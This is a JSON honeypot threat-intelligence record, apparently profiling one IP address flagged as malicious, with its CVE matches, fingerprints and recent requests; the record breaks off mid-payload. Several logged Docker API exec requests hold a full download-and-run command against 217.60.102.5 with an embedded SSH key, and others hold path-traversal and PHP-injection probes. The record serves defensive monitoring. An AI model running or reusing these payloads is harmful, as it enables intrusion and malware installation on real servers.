{"ip":"124.158.13.141","data_as_of":"2026-10-24T14:07:14+00:00","observed":true,"total_events":397,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":null,"why":["45 request(s) matched a known exploit path.","Requests with a body (POST, PUT, PATCH or DELETE) were seen, which carries a payload.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 4,875,032 bytes, which is sustained payload delivery.","Counts include 2 interactive session(s) as well as first-packet events.","Interactive sessions: 1 interactive session(s) ran commands after logging in."],"engagement":{"level":"payload","label":"Sustained payload","detail":"4,875,032 bytes sent","bytes_sent":4875032,"session_seconds":55,"persistent":false},"basis":"combined"},"first_seen":"2026-09-28T08:32:40","last_seen":"2026-10-23T19:49:52","events_24h":0,"events_7d":50,"interactive_sessions":2,"interactive_sessions_24h":1,"interactive_sessions_7d":2,"interactive_protocols":[{"protocol":"http","sessions":2}],"geo":{"country_code":"VN","country_name":"Vietnam","region":"","city":"","lat":16.1667,"lon":107.8333,"asn":38733,"org":"CMC Telecom Infrastructure Company"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","kev_date_added":"2022-02-15"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-41773","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","kev_date_added":"2021-11-03"}],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":2,"first_seen":"2026-10-22T15:55:05","last_seen":"2026-10-23T19:49:52","verdicts":[{"verdict":"unknown","sessions":1},{"verdict":"post-exploitation","sessions":1}],"personas":[{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, docker@25.0.3, gitlab@19.4.2","sessions":1},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, fortigate@7.2.1, docker@25.0.3, gitlab@19.4.2","sessions":1}],"services":[{"protocol":"http","port":2375,"sessions":2}],"logins":[],"commands":[],"downloads":[{"url":"[https]://217[.]60[.]102[.]5/sh","host":"217[.]60[.]102[.]5","sessions":1,"first_seen":"2026-10-23T19:49:52","last_seen":"2026-10-23T19:49:52","virustotal":{"sha256":"917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c","status":"known","malicious":12,"total":75,"name":""}}],"files":[{"sha256":"43728fbfb98bb39ff61a2db0fc2905bd6937997062b05b9ab8b186fdee18c09a","name":"key.ppk","size":399,"mime_type":"text/plain","kind":"shell-write","times":3,"first_seen":"2026-10-23T19:49:49","last_seen":"2026-10-23T19:49:51","virustotal":null},{"sha256":"00b6f15c2274420217ed3098a9f5f00545bf1793d7a324fd18a7809cbbf5b12b","name":"sshcfg","size":54,"mime_type":"text/plain","kind":"shell-write","times":3,"first_seen":"2026-10-23T19:49:49","last_seen":"2026-10-23T19:49:51","virustotal":null}],"attack":[{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":1},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":1},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":1}]},"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":245,"sessions":0},{"port":80,"proto":"tcp","label":"HTTP","count":147,"sessions":0},{"port":2375,"proto":"tcp","label":"Docker","count":4,"sessions":2},{"port":22,"proto":"tcp","label":"SSH","count":1,"sessions":0}],"fingerprints":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b50303b6408a51fed2cddf1026da788ed42cf4fc4524c79f82a09566bb42d821609c02200623c59326b2f8ad541be94aa6fc593dffe1781baed585d0cbcddfa5d4024e790024baba130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f0035010005481a1a000000170000ff01000100000a000c000aaaaa11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04edaaaa00010011ec04c00a54582893938ba00a5d71b0005d9d825cc4ea1611506b2a3df79e4847c8fed67d072a9d353076a161a0471320013662c2f67095611c3c7cc163310623bb80dc931708282a4983470fab2dc0853cbe176e48039edc0117bbc1b10ef613d19b041860b53418977aba0a3a759579039516b35f9ac817e74c638fd3648ddc1294f9412eca79ba003a82dc62da078c6d2425b069250e02a77e9997994c873d5a9cd1120fc0f850d500003ee71d05877f6805a26ad12764779baf6399349c4808da87bb6c87efb27cc7f59205cb9e6bbbb2a0ba5c7568483492cd02119b0f8ab523b57f2e85677bbb6afb94cc2ff6934576b56fc2153da81f8c3562cfb7c81280b3c1a4409f815fcc8a7c0367119606b8f63b63413799255498ef4197b5844fea4c81c76a085baa3ff333645d5a15b9896ea9c74ee354c9c0a224a290bcfc228948ec72402ccb4097cbfca1c0edba809ce69636400d719334556151b4f566f06c2cfecc047665b45122bd20800d250a87866947aa2a56e6d53e5c49400d034675d19fb4fb331aaa8831a36ae411b130db790d974205596976177d777bbb6a420f7525b12a8a79b9ab1251429409405e4acbad10b6af0272382a21b1a4a358e89cb2e99696cf7a8b65d742d204836ac83b0aa0656b638562c61e643247a26ac04408c431d5439927b24073a5172018e3d715be17cdedb08e4a2b64e946b0f35696c4c93c0b516839446d76b5a8a20c74198190d58b130b4826176a5efb779b7b2198fbdcae388494efd8bcbc40113ee5460c63c11688c5840b55a6bba4d5a2bb87fa10fbf19c1a3c31bd4ac5cf2b3f9f0a0ffaf72c25287442a180cf8241240666fea8653cd79ca7117ed8336f124cc52c3c3c86b6c328f32405acb2ffb3317a382df498b430b9c2b7a4aff1048b51e613e1659e353bc431d61e64f8499d11af4868235da9cb4049412c9b8084e2c27fa87302b3a368d2ae0d743ad33c433cea9ce580119b742d5cb2c4cbfc89da5c23abe67556a94f40698737b2c398ac4f21accc8d287be9e3cbaadbcdd7817ebd6523af394975109336033ebb497a220196ee4833b8ca5828b926609aab6b6c4f61c4bcef0b1997221dd9359a5e900cbcb3294ea1612f3645d8abb20eab9c356634d5900910ac938d5c4f301a6976f63ea53b46ef794ff00c43ac909df669a2c8648306936c85ea40f164ba83d294811b5d61bb773d5c4c52e3ce61f651ae909a28866b22b5aef84292c5097b32264ee457ace293386df10fc6739e9afc57a33308de992b3d847bf4e6be2f16b25c76564ae43d0714147ac85239d0bd6dca8350201ebc13afc241adc4443a1ab719e1bb8c23940a1e0a5281d53f705aaa23562f87b061b6574b6a656fc8f110f29c7eeb12b594b3b33002c9fcfa9f1caaac674584d5523516fb9139caa5ef0790fffc70e29c8039bb26a448694048b0e9ea60fdfa4369e17a1f663a93d00bfb6b468a22add8660992d31a414cb392277ef859a0180c1d67ea103cf92f2ac5447cb7296ca2c79127535019be9eea9d9be28e67165910e0994462700dfac32188bf9c40bb20811b123b7d04b440196ba180d66a2df786d1fa8c64eba374f47010752441c73027b3a41ba73d3a8a89fd33424168e8e450fca4bc2f41b9a5cdef47a166d674e2b3dc19ccad5868394864682c8a3800d53efd2a16b94e4c2c9258bac9ab08f52061290f001d002039032c5a9d02e6505657ca227820d701bf36b91b4a99bedb01783c23ad04ad3a002d00020101002b0007064a4a03040303dada0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":156,"19532158b559096b89b1a5f7d17175b2":185,"b11cuq070_00050835_c0b30902":230,"b11cun050_00040035_dd905059":283},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-09-28","count":49,"sessions":0},{"date":"2026-10-03","count":1,"sessions":0},{"date":"2026-10-04","count":98,"sessions":0},{"date":"2026-10-06","count":1,"sessions":0},{"date":"2026-10-07","count":49,"sessions":0},{"date":"2026-10-08","count":1,"sessions":0},{"date":"2026-10-11","count":49,"sessions":0},{"date":"2026-10-13","count":1,"sessions":0},{"date":"2026-10-16","count":98,"sessions":0},{"date":"2026-10-22","count":1,"sessions":1},{"date":"2026-10-23","count":49,"sessions":1}],"recent_events":[{"timestamp":"2026-10-23T19:49:51","port":2375,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"27\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:2375\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"{\"Detach\":true,\"Tty\":false}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/exec/9bb22026c0726941351c622b2b6fc760d5628ba227b33ddc38db5d846b6d714f/start","summary":"","payload_hex":"504f5354202f657865632f396262323230323663303732363934313335316336323262326236666337363064353632386261323237623333646463333864623564383436623664373134662f737461727420485454502f312e310d0a486f73743a203c484f4e4559504f543e3a323337350d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a2032370d0a0d0a7b22446574616368223a747275652c22547479223a66616c73657d","method":"POST","user_agent":"libredtail-http","ja3":"","session":"e3009445-596f-4f6f-9666-594ba664ee1e-13","seq":13,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-23T19:49:50","port":2375,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"27\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:2375\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"{\"Detach\":true,\"Tty\":false}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/exec/65dcdd1fef13b44fb5fbfa774a3f5595d3e97eb5dd02ebb86643b0688bb9cac1/start","summary":"","payload_hex":"504f5354202f657865632f363564636464316665663133623434666235666266613737346133663535393564336539376562356464303265626238363634336230363838626239636163312f737461727420485454502f312e310d0a486f73743a203c484f4e4559504f543e3a323337350d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a2032370d0a0d0a7b22446574616368223a747275652c22547479223a66616c73657d","method":"POST","user_agent":"libredtail-http","ja3":"","session":"e3009445-596f-4f6f-9666-594ba664ee1e-11","seq":11,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-23T19:49:49","port":2375,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"27\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:2375\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"{\"Detach\":true,\"Tty\":false}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/exec/c9d3ba42832452f3493de3a271186b52cffe67e7fc9a7926619546b2c1fb705b/start","summary":"","payload_hex":"504f5354202f657865632f633964336261343238333234353266333439336465336132373131383662353263666665363765376663396137393236363139353436623263316662373035622f737461727420485454502f312e310d0a486f73743a203c484f4e4559504f543e3a323337350d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a2032370d0a0d0a7b22446574616368223a747275652c22547479223a66616c73657d","method":"POST","user_agent":"libredtail-http","ja3":"","session":"e3009445-596f-4f6f-9666-594ba664ee1e-9","seq":9,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-23T19:49:49","port":2375,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"894\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:2375\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"{\"AttachStdout\":false,\"AttachStderr\":false,\"Cmd\":[\"sh\",\"-c\",\"cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----\\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\\nQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ\\n0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg\\nAAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9\\nCp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=\\n-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no\\nUserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -s -F sshcfg -i key.ppk dlr@217.60.102.5:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh docker >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s docker; fi; rm -rf sshcfg key.ppk out_sh\"]}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/46a2fb582b6889f8f327e03edf804db7a9a2d925cc0c34d2828b14fc9339c677/exec","summary":"","payload_hex":"504f5354202f636f6e7461696e6572732f343661326662353832623638383966386633323765303365646638303464623761396132643932356363306333346432383238623134666339333339633637372f6578656320485454502f312e310d0a486f73743a203c484f4e4559504f543e3a323337350d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a203839340d0a0d0a7b224174746163685374646f7574223a66616c73652c22417474616368537464657272223a66616c73652c22436d64223a5b227368222c222d63222c226364202f746d70207c7c206364202f7661722f746d70207c7c206364202f6465762f73686d3b206563686f20272d2d2d2d2d424547494e204f50454e5353482050524956415445204b45592d2d2d2d2d5c6e6233426c626e4e7a614331725a586b74646a45414141414142473576626d554141414145626d39755a5141414141414141414142414141414d7741414141747a633267745a575c6e51794e5455784f514141414344766545742b4a7449565a4742564962566b4876646b765171644d69616675352f494d4f76656c482f7978674141414a4174384644524c6642515c6e305141414141747a633267745a5751794e5455784f514141414344766545742b4a7449565a4742564962566b4876646b765171644d69616675352f494d4f76656c482f7978675c6e41414145417231776c2b334a486b6a41335a7450746a64386241744c56466f3133655a3132417732516e4658432f696539345333346d3068566b5946556874575165393253395c6e437030794a702b376e38677736393655662f4c474141414143475273636b427a5a6e5277415149444241553d5c6e2d2d2d2d2d454e44204f50454e5353482050524956415445204b45592d2d2d2d2d27203e206b65792e70706b3b206563686f2027537472696374486f73744b6579436865636b696e67206e6f5c6e557365724b6e6f776e486f73747346696c65202f6465762f6e756c6c27203e207373686366673b2063686d6f6420343030206b65792e70706b3b20736370202d73202d4620737368636667202d69206b65792e70706b20646c72403231372e36302e3130322e353a7368206f75745f73683b206966205b20243f202d65712030205d3b207468656e2063686d6f64202b78206f75745f73683b207368206f75745f736820646f636b6572203e2f6465762f6e756c6c20323e26313b20656c7365202877676574202d2d6e6f2d636865636b2d6365727469666963617465202d714f2d2068747470733a2f2f3231372e36302e3130322e352f7368207c7c206375726c202d736b2068747470733a2f2f3231372e36302e3130322e352f736829207c207368202d7320646f636b65723b2066693b20726d202d726620737368636667206b65792e70706b206f75745f7368225d7d","method":"POST","user_agent":"libredtail-http","ja3":"","session":"e3009445-596f-4f6f-9666-594ba664ee1e-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-23T19:49:48","port":2375,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"894\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:2375\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"{\"AttachStdout\":false,\"AttachStderr\":false,\"Cmd\":[\"sh\",\"-c\",\"cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----\\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\\nQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ\\n0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg\\nAAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9\\nCp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=\\n-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no\\nUserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -s -F sshcfg -i key.ppk dlr@217.60.102.5:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh docker >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s docker; fi; rm -rf sshcfg key.ppk out_sh\"]}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/be2b86d6deff755511b78545c10e19bb4c92090a0427313476579376ec5f03a8/exec","summary":"","payload_hex":"504f5354202f636f6e7461696e6572732f626532623836643664656666373535353131623738353435633130653139626234633932303930613034323733313334373635373933373665633566303361382f6578656320485454502f312e310d0a486f73743a203c484f4e4559504f543e3a323337350d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a203839340d0a0d0a7b224174746163685374646f7574223a66616c73652c22417474616368537464657272223a66616c73652c22436d64223a5b227368222c222d63222c226364202f746d70207c7c206364202f7661722f746d70207c7c206364202f6465762f73686d3b206563686f20272d2d2d2d2d424547494e204f50454e5353482050524956415445204b45592d2d2d2d2d5c6e6233426c626e4e7a614331725a586b74646a45414141414142473576626d554141414145626d39755a5141414141414141414142414141414d7741414141747a633267745a575c6e51794e5455784f514141414344766545742b4a7449565a4742564962566b4876646b765171644d69616675352f494d4f76656c482f7978674141414a4174384644524c6642515c6e305141414141747a633267745a5751794e5455784f514141414344766545742b4a7449565a4742564962566b4876646b765171644d69616675352f494d4f76656c482f7978675c6e41414145417231776c2b334a486b6a41335a7450746a64386241744c56466f3133655a3132417732516e4658432f696539345333346d3068566b5946556874575165393253395c6e437030794a702b376e38677736393655662f4c474141414143475273636b427a5a6e5277415149444241553d5c6e2d2d2d2d2d454e44204f50454e5353482050524956415445204b45592d2d2d2d2d27203e206b65792e70706b3b206563686f2027537472696374486f73744b6579436865636b696e67206e6f5c6e557365724b6e6f776e486f73747346696c65202f6465762f6e756c6c27203e207373686366673b2063686d6f6420343030206b65792e70706b3b20736370202d73202d4620737368636667202d69206b65792e70706b20646c72403231372e36302e3130322e353a7368206f75745f73683b206966205b20243f202d65712030205d3b207468656e2063686d6f64202b78206f75745f73683b207368206f75745f736820646f636b6572203e2f6465762f6e756c6c20323e26313b20656c7365202877676574202d2d6e6f2d636865636b2d6365727469666963617465202d714f2d2068747470733a2f2f3231372e36302e3130322e352f7368207c7c206375726c202d736b2068747470733a2f2f3231372e36302e3130322e352f736829207c207368202d7320646f636b65723b2066693b20726d202d726620737368636667206b65792e70706b206f75745f7368225d7d","method":"POST","user_agent":"libredtail-http","ja3":"","session":"e3009445-596f-4f6f-9666-594ba664ee1e-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-23T19:49:47","port":2375,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"894\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:2375\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"{\"AttachStdout\":false,\"AttachStderr\":false,\"Cmd\":[\"sh\",\"-c\",\"cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----\\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\\nQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ\\n0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg\\nAAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9\\nCp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=\\n-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no\\nUserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -s -F sshcfg -i key.ppk dlr@217.60.102.5:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh docker >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s docker; fi; rm -rf sshcfg key.ppk out_sh\"]}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/9ce91ac5a826f0d48bd26a0adb64fd3ae0c53d2ef0f1af2cb662ff6113b20788/exec","summary":"","payload_hex":"504f5354202f636f6e7461696e6572732f396365393161633561383236663064343862643236613061646236346664336165306335336432656630663161663263623636326666363131336232303738382f6578656320485454502f312e310d0a486f73743a203c484f4e4559504f543e3a323337350d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a203839340d0a0d0a7b224174746163685374646f7574223a66616c73652c22417474616368537464657272223a66616c73652c22436d64223a5b227368222c222d63222c226364202f746d70207c7c206364202f7661722f746d70207c7c206364202f6465762f73686d3b206563686f20272d2d2d2d2d424547494e204f50454e5353482050524956415445204b45592d2d2d2d2d5c6e6233426c626e4e7a614331725a586b74646a45414141414142473576626d554141414145626d39755a5141414141414141414142414141414d7741414141747a633267745a575c6e51794e5455784f514141414344766545742b4a7449565a4742564962566b4876646b765171644d69616675352f494d4f76656c482f7978674141414a4174384644524c6642515c6e305141414141747a633267745a5751794e5455784f514141414344766545742b4a7449565a4742564962566b4876646b765171644d69616675352f494d4f76656c482f7978675c6e41414145417231776c2b334a486b6a41335a7450746a64386241744c56466f3133655a3132417732516e4658432f696539345333346d3068566b5946556874575165393253395c6e437030794a702b376e38677736393655662f4c474141414143475273636b427a5a6e5277415149444241553d5c6e2d2d2d2d2d454e44204f50454e5353482050524956415445204b45592d2d2d2d2d27203e206b65792e70706b3b206563686f2027537472696374486f73744b6579436865636b696e67206e6f5c6e557365724b6e6f776e486f73747346696c65202f6465762f6e756c6c27203e207373686366673b2063686d6f6420343030206b65792e70706b3b20736370202d73202d4620737368636667202d69206b65792e70706b20646c72403231372e36302e3130322e353a7368206f75745f73683b206966205b20243f202d65712030205d3b207468656e2063686d6f64202b78206f75745f73683b207368206f75745f736820646f636b6572203e2f6465762f6e756c6c20323e26313b20656c7365202877676574202d2d6e6f2d636865636b2d6365727469666963617465202d714f2d2068747470733a2f2f3231372e36302e3130322e352f7368207c7c206375726c202d736b2068747470733a2f2f3231372e36302e3130322e352f736829207c207368202d7320646f636b65723b2066693b20726d202d726620737368636667206b65792e70706b206f75745f7368225d7d","method":"POST","user_agent":"libredtail-http","ja3":"","session":"e3009445-596f-4f6f-9666-594ba664ee1e-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-23T19:49:46","port":2375,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:2375\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a203c484f4e4559504f543e3a323337350d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"e3009445-596f-4f6f-9666-594ba664ee1e-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-23T08:38:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"e842cde6-230a-446f-b179-f80f772cf511","seq":49,"duration_ms":41273,"bytes_in":19166,"bytes_out":3871},{"timestamp":"2026-10-23T08:38:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"e842cde6-230a-446f-b179-f80f772cf511","seq":48,"duration_ms":40461,"bytes_in":19012,"bytes_out":3792},{"timestamp":"2026-10-23T08:38:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e